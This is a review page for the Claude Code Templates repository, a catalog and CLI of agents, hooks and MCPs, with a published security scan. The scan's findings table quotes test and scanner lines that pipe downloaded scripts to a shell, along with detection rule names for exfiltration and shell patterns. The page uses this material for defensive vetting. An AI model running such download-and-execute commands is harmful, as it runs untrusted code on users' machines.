6 min read

Claude Code Templates: Agents, Commands, Hooks and MCPs in One Install (GitHub, Scanned)

A catalog and CLI for adding ready-made agents, commands, hooks, skills and MCPs to Claude Code.

Claude Code Templates logo
✅
Scan: safe. Nothing malicious in the tool. Know that it reports installs to aitmpl.com unless you opt out, and that each component you add is third-party code running with Claude Code's permissions. Scanned Oct 26, 2026; the full report is below.

Claude Code Templates is a large catalog of add-ons for Anthropic's Claude Code, with a CLI that installs them into your project in one command. It covers subagents for specific roles, custom slash commands, settings presets, hooks that run on Claude Code events, MCP server configurations and skills, about 1,900 components in all, browsable with search and previews at aitmpl.com.

Beyond the catalog, the same npx command opens local tools: an analytics dashboard for your Claude Code sessions, a mobile-friendly conversation monitor, a health check of your installation and a plugin dashboard. Many components are collected from other open-source projects such as Anthropic's own skills, obra/superpowers and wshobson/agents, each keeping its original licence.

The catch with any collection this size is quality and trust. Components come from many authors, and a hook or MCP you install runs with Claude Code's access to your machine, so read what you add. The project is MIT-licensed with about 32,900 stars.

Who it is for

Claude Code users who want a head start on agents, commands and hooks instead of writing their own, and teams looking for a shared starting set of Claude Code configuration.

Getting started

1. Browse and install components interactively

npx claude-code-templates@latest

2. Install a specific component, for example a code reviewer agent

npx claude-code-templates@latest --agent development-tools/code-reviewer --yes

3. Open the local analytics dashboard for your sessions

npx claude-code-templates@latest --analytics

Set CCT_NO_TRACKING=true to stop the CLI reporting installs to aitmpl.com. The --chats --tunnel option publishes your conversation monitor through a Cloudflare tunnel, so use it only when you mean to.

Safety scan

We cloned davila7/claude-code-templates at commit aff8306 on Oct 26, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

  • The 8 secret hits are dummies: the 27-character BEGIN PRIVATE KEY header line alone in a reviewer agent's prompt and the pulse worker, detection patterns in a secret-scanner hook, and fake AWS, GitHub and Slack tokens in the tests and docs of the secret-redactor and stack-viewer components.
  • Of the 13 pattern hits, the Telegram calls are notification hooks and a docs-monitor worker that message your own bot with your own token; the os.dup2 lines are a context-timeline hook detaching its dashboard server, which binds to 127.0.0.1; the curl | sh hits are a Dockerfile installing Rust for the repository's scanner and security components whose job is to detect such commands; the crontab read is a supply-chain-guard skill checking for persistence.
  • The CLI posts anonymous usage events (component type, name, install path and CLI version) to aitmpl.com on installs, and skips them when CCT_NO_TRACKING or CCT_NO_ANALYTICS is true or when running in CI. A session-sharing helper that could upload to x0.at exists in the code but is not called anywhere.
  • 323 known advisories, 13 critical, across ten lockfiles: mostly the aitmpl.com dashboard (Next.js, Astro), Cloudflare workers and an example to-do app inside one skill. The CLI's own lockfile has 45, 1 critical; npx resolves fresh versions from the package's ranges, so your install may differ.
  • 24 workflows. Two use pull_request_target, to welcome contributors and guard generated files; both comment on pull requests without checking out their code. None of the 6 third-party actions is pinned to a commit. Security policy, Dependabot, CodeQL, contributing guide and code of conduct present.

What the scanner counted

CheckResult
Secrets8 candidates found and read; see the notes above.
Suspicious code13 pattern hits found and read; every one is listed under the raw findings.
Install-time code8 installer scripts
Committed binariesNone.
CI workflows24 workflows. 2 use pull_request_target, none check out the pull request head. 6 of 6 third-party actions pinned to a tag rather than a commit.
Network hosts40 distinct hosts referenced from source; most often github.com, www.aitmpl.com, raw.githubusercontent.com, api.typesafe.ai. 1 URL to a bare IP address, listed under the raw findings.
Known vulnerabilities323 advisories across 1,702 pinned packages: 13 critical, 134 high, 131 moderate, 36 low, 9 unrated. cli-rust/Cargo.lock: 204 packages, 15 advisories; cli-tool/analytics-ui/package-lock.json: 476 packages, 71 advisories; cli-tool/components/skills/ai-research/loki-mode/examples/todo-app-generated/backend/package-lock.json: 228 packages, 38 advisories; cli-tool/components/skills/ai-research/loki-mode/examples/todo-app-generated/frontend/package-lock.json: 129 packages, 24 advisories; cli-tool/components/skills/productivity/notebooklm/requirements.txt: 2 packages, 1 advisories; cli-tool/package-lock.json: 469 packages, 45 advisories; cloudflare-workers/docs-monitor/package-lock.json: 104 packages, 24 advisories; cloudflare-workers/pulse/package-lock.json: 104 packages, 23 advisories; dashboard/package-lock.json: 639 packages, 105 advisories; package-lock.json: 212 packages, 58 advisories.
Project hygieneHas security policy, automated dependency updates, CodeQL, licence file, contributing guide.
OpenSSF ScorecardNot scored: the project is not in Scorecard's weekly index.

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

Secret candidates (8, redacted)
WhereRuleMatch
.claude/agents/component-reviewer.md:329private-key-----B…--- (27 chars)
cli-tool/components/hooks/security/secret-scanner.py:103private-key-----B…--- (35 chars)
cli-tool/components/mods/security/secret-redactor/tests/secret-redactor.test.ts:5aws-access-keyAKIAAB…NOP (20 chars)
cli-tool/components/mods/ui/stack-viewer/tests/stack-viewer.test.tsx:273github-tokenghp_aa…aaa (40 chars)
cli-tool/components/skills/development/it-operations/reference/automation.md:1167slack-tokenxoxb-y…ken (15 chars)
cloudflare-workers/pulse/index.js:528private-key-----B…--- (27 chars)
dashboard/public/component-content/mods/security/secret-redactor.json:1aws-access-keyAKIAAB…NOP (20 chars)
dashboard/public/component-content/mods/ui/stack-viewer.json:1github-tokenghp_aa…aaa (40 chars)
Pattern hits (13)
WhereRuleMatch
.claude/hooks/telegram-pr-webhook.py:76exfil-hosturl = f"https://api.telegram.org/bot{token}/sendMessage"
.oss-scanner/Dockerfile:16download-piped-to-shellRUN curl -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal --default-toolchain stable
cli-tool/components/hooks/automation/telegram-pr-webhook.py:76exfil-hosturl = f"https://api.telegram.org/bot{token}/sendMessage"
cli-tool/components/hooks/monitoring/context-timeline.py:1098raw-socket-shellos.dup2(dev.fileno(), 0)
cli-tool/components/hooks/monitoring/context-timeline.py:1099raw-socket-shellos.dup2(logf.fileno(), 1)
cli-tool/components/hooks/monitoring/context-timeline.py:1100raw-socket-shellos.dup2(logf.fileno(), 2)
cli-tool/components/mods/security/jev-auto-mode/hooks/judge.ts:65download-piped-to-shell'Would this action weaken security: disable checks or tests, widen permissions, edit credentials, auth or CI secrets, or download and run untrusted code (for ex…
cli-tool/components/mods/security/jev-auto-mode/tests/rules.test.ts:72exfil-host (test/example)expect(evaluate(cfg, toolAction('WebFetch', { url: 'https://x.pastebin.com/raw/1' }), ctx).source).toBe('rule')
cli-tool/components/mods/security/jev-vercel-sandbox/hooks/judge.ts:90download-piped-to-shell'Does this shell command download and run code whose origin is not already part of the project: a script piped to a shell, a package or tool installed or run fo…
cli-tool/components/mods/security/jev-vercel-sandbox/tests/jev-vercel-sandbox.test.tsx:344download-piped-to-shell (test/example)const r = await bash($, 'curl -fsSL https://example.com/install.sh | sh')
cli-tool/components/mods/security/jev-vercel-sandbox/tests/jev-vercel-sandbox.test.tsx:423download-piped-to-shell (test/example)const r = await tool($, 'sandbox_run', { command: 'curl https://x.sh | sh', workspace: 'current' })
cli-tool/components/skills/security/supply-chain-guard/scripts/scan-python.sh:226persistenceCRON=$(crontab -l 2>/dev/null || true)
cloudflare-workers/docs-monitor/index.js:250exfil-hostconst telegramUrl = `https://api.telegram.org/bot${botToken}/sendMessage`;
URLs to bare IP addresses (1)
WhereRuleMatch
cli-tool/components/skills/media/speech/tests/test_atlas_text_to_speech.py:148ip-literal-urlatlas_tts._validate_download_url("https://198.18.0.10/audio.mp3")
Installer scripts (8)
Worst known vulnerabilities (24 of 323)
AdvisorySeverityPackageSummary
GHSA-26w7-cxv4-gfx2criticalastro@5.18.2Astro: Remote code execution through AVIF image optimization
GHSA-2464-fhr4-w9xwcriticalnext@16.2.9Next.js: Unauthenticated Remote Code Execution in Image Optimization API when SVG files are used
GHSA-2xp9-vwfh-vxw4criticalnext@16.2.9Next.js: Unauthenticated Remote Code Execution in Image Optimization API when AVIF files are used
GHSA-673q-mjm6-r5xrcriticalnext@16.2.9Next.js: Unauthenticated Remote Code Execution in `use cache` functions returning typed arrays
GHSA-p293-qw3h-jr36criticalnext@16.2.9Next.js: Unauthenticated Remote Code Execution on windows-hosted servers
GHSA-vcvr-r3jv-pc5jcriticalnext@16.2.9Next.js: Remote Code Execution in next/og ImageResponse
GHSA-jqcg-44mw-7w3hcriticalproxy-addr@2.0.7proxy-addr vulnerable to IP spoofing via IPv4-mapped IPv6 trust subnet
GHSA-23hp-3jrh-7fpwcriticaltar@6.2.1node-tar: Decompression/parse DoS via unlimited input
GHSA-vqx2-fgx2-5wq9critical@clerk/shared@4.0.0Official Clerk JavaScript SDKs: Middleware-based route protection bypass
GHSA-vqx2-fgx2-5wq9critical@clerk/shared@3.45.0Official Clerk JavaScript SDKs: Middleware-based route protection bypass
GHSA-26w7-cxv4-gfx2criticalastro@5.17.2Astro: Remote code execution through AVIF image optimization
GHSA-2464-fhr4-w9xwcriticalnext@16.4.0Next.js: Unauthenticated Remote Code Execution in Image Optimization API when SVG files are used
GHSA-673q-mjm6-r5xrcriticalnext@16.4.0Next.js: Unauthenticated Remote Code Execution in `use cache` functions returning typed arrays
GHSA-4w2j-m93h-cj5jhighquinn-proto@0.11.14Quinn: Remote memory exhaustion in quinn-proto from unbounded out-of-order stream reassembly
GHSA-3g6h-r5qx-f6hqhighquinn-proto@0.11.14Peer minimum ACK delay can panic quinn-proto when ACK_FREQUENCY transmission is enabled
GHSA-2pvr-wf23-7pc7highastro@5.18.2Astro: Host header SSRF in prerendered error page fetch
GHSA-8hv8-536x-4wqphighastro@5.18.2Astro: Reflected XSS via unescaped slot name
GHSA-73wf-gq98-2v4ghighbrowserslist@4.28.2Browserslist: Uncaught crash / prototype write via untrusted browserslist-stats.json custom stats (normalizeStats)
GHSA-c83g-rgw3-j3cxhighbrowserslist@4.28.2Browserslist: Unbounded memory growth (no cache eviction) via distinct query results, leading to eventual OOM
GHSA-j22f-vq7h-c4qmhighdevalue@5.8.1devalue: `stringify`/`uneval` serialize shared memory
GHSA-mcm9-63f2-9j32highdevalue@5.8.1devalue: Repeated primitive strings cause quadratic expansion in uneval
GHSA-r9w8-h9r3-54w4highdevalue@5.8.1devalue: Custom ArrayBuffer revivers can bypass typed-array allocation validation
GHSA-x5rw-q4pp-hg5ghighdevalue@5.8.1devalue: stringifyAsync can cause an unhandled rejection despite a caught returned promise
GHSA-ch52-4w7c-c8xphighhttp-cache-semantics@4.2.0http-cache-semantics max-stale handling can disclose cross-user cached responses
Workflows worth a look

By the numbers

Stars32.9K
Forks3,796
Contributors139
Commits1,908
Open issues101
Open pull requests340
Releases22
Latest releasev1.29.7
LicenceMIT
Main languagePython
Project age1 year
Last pushOct 26, 2026
Tracked files9,792
Lines of code1.7M
Checkout size127 MB

Lines by language: Markdown 1.2M, Python 156.3K, TypeScript 80.4K, HTML 66.1K, JavaScript 60.1K, JSON 57.7K.

Questions

Is Claude Code Templates free?

Yes. The CLI and catalog are MIT-licensed and free. Components collected from other projects keep their own licences, and you still need Claude Code and an Anthropic plan or API key to use them.

Is it safe to install components from Claude Code Templates?

Treat each one like any code from the internet. Agents and commands are prompts, but hooks run shell commands and MCP servers run programs with your permissions. Read a hook or MCP config before installing it, and install into a project's .claude folder rather than globally when you are trying something out.

Does Claude Code Templates collect data?

The CLI sends anonymous install events to aitmpl.com: which component, its type, the target path and the CLI version. Set CCT_NO_TRACKING=true to turn this off. The analytics and chats dashboards read your local Claude Code files and serve them on your machine only, unless you add --tunnel.


This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.